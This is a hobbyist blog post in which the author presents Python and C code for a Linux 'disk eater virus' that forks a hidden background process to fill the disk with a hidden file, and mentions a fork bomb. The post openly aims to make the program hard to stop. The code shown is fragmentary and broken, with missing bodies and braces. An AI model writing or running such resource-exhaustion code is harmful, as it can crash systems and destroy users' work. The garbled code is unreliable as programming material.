Neeraj's Blog

There is always an open source solution..

Hard Disk Space Eating virus for Linux

While browsing, i stuck on the word disk space eating virus.. This virus gradually eats all the free space in our hard disk. There were so many codes but all of them was complicated and for windows.. But my intention was not to crack the system, but only to hack it. So i decided to make a disk eater for linux. I asked tony about this disk eater virus. He gave me the idea of creating a gradually growing file with simple random function. So i decided to check it out. Wrote a python code for create a continuous growing hidden file using random function. The code is given below.

import random

  def get_random_word(wordLen):
  word = ''
  for i in range(wordLen):
    word += random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz')
  return word

def main():
  fout = open('.wordlist.txt' , 'w')
  i = 1
  while True:
    wordLen = random.randint(500,1500)
    word  = get_random_word(wordLen)
    if i % 500000 == 0:
      fout = open('.wordlist.txt' , 'a')
      print i
      i = 1
    i += 1
if __name__ == "__main__":

Run this code creates a hidden file named .wordlist.txt.This file will continuously grow on size until you stop running that code. You can check the file size and can see that it is growing constantly. But the problem with this code was we can see that the process is running, and to keep a terminal always for running this process. Pressing ctrl+c will kill this virus. So to make the virus more interesting i have avoid this. I know that it can be done only using thread, but how? Again i googled it. So i stuck on another most common simple virus, fork bomb…

int main()

If you are running this code, the only way to get rid of it is, restarting your system.

But since i was not familiar with threads i asked tony for help. Then he told me about the orphans and also said that, for writing virus like stuff C will be better.

So we decided to code it in C. And our code is given below.

int main()
  FILE *fd;
  int pid;
  int i;
  char buf[4096];
  buf[0] = 1;
  for(i = 1; i <= 4096; i++) {
buf[i] = (char) i;
  buf[4095] = '\0';
  if((fd = fopen(".abc.txt", "w")) == NULL) {
  if((pid = fork()) < 0) {
  if(pid == 0) {
    while(1) {
      if(fputs(buf,fd) == EOF) {
      if((fd = fopen(".abc.txt", "a")) == NULL) {

This is our Disk Eater Virus..

If you run this code it will show you some junk, and will exit. But actually it will not. In background the child process will run creating a file named .abc.txt. You can see the process running by using the command ps -ax .Checking the file size shows you that how fast it is growing. It is much faster than the previous python code. The way to stop  that code is kill that process, by the command killall -9 a.out.


Single Post Navigation

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: